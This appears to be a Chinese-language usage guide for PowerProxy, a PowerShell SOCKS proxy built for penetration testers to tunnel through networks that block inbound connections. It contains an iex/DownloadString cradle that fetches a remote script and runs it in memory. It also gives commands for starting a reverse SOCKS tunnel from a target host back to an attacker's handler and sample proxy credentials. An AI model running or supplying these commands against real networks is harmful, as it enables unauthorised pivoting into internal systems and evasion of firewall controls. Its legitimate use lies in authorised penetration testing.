PowerShell SOCKS 代理,具备反向代理功能。
PowerProxy 专为渗透测试人员设计。反向代理功能是优先考虑的特性,用于穿越拦截入站连接的网络。反向代理连接默认加密。支持 SOCKS 5 连接的 用户名/密码 认证。
导入脚本:
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# 或者
Import-Module \\192.168.0.22\Public\PowerProxy.ps1
reverse_proxy_handler.py 可以创建临时 SSL 证书,这需要 OpenSSL。如果你的机器上没有安装 OpenSSL(大多数基于 Linux/Unix 的系统上都有),请提供你自己的证书,或使用 --no-encrypt 选项。
如需详细用法,请查看 PowerProxy 的帮助,或使用 ./reverse_proxy_handler.py --help
在本地机器上,启动 handler:
# Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080
在 PowerShell 中:
Start-ReverseSocksProxy 172.1.1.20 -Port 8080
代理客户端可以将 reverse_proxy_handler.py 创建的服务器视为实际的 SOCKS 服务器:
curl --socks4 127.0.0.1:1080 http://10.10.2.69/
Start-SocksProxy 172.10.2.20 -Port 9050
使用 PSCredential 对象来要求用户名和密码:
# Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)
Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose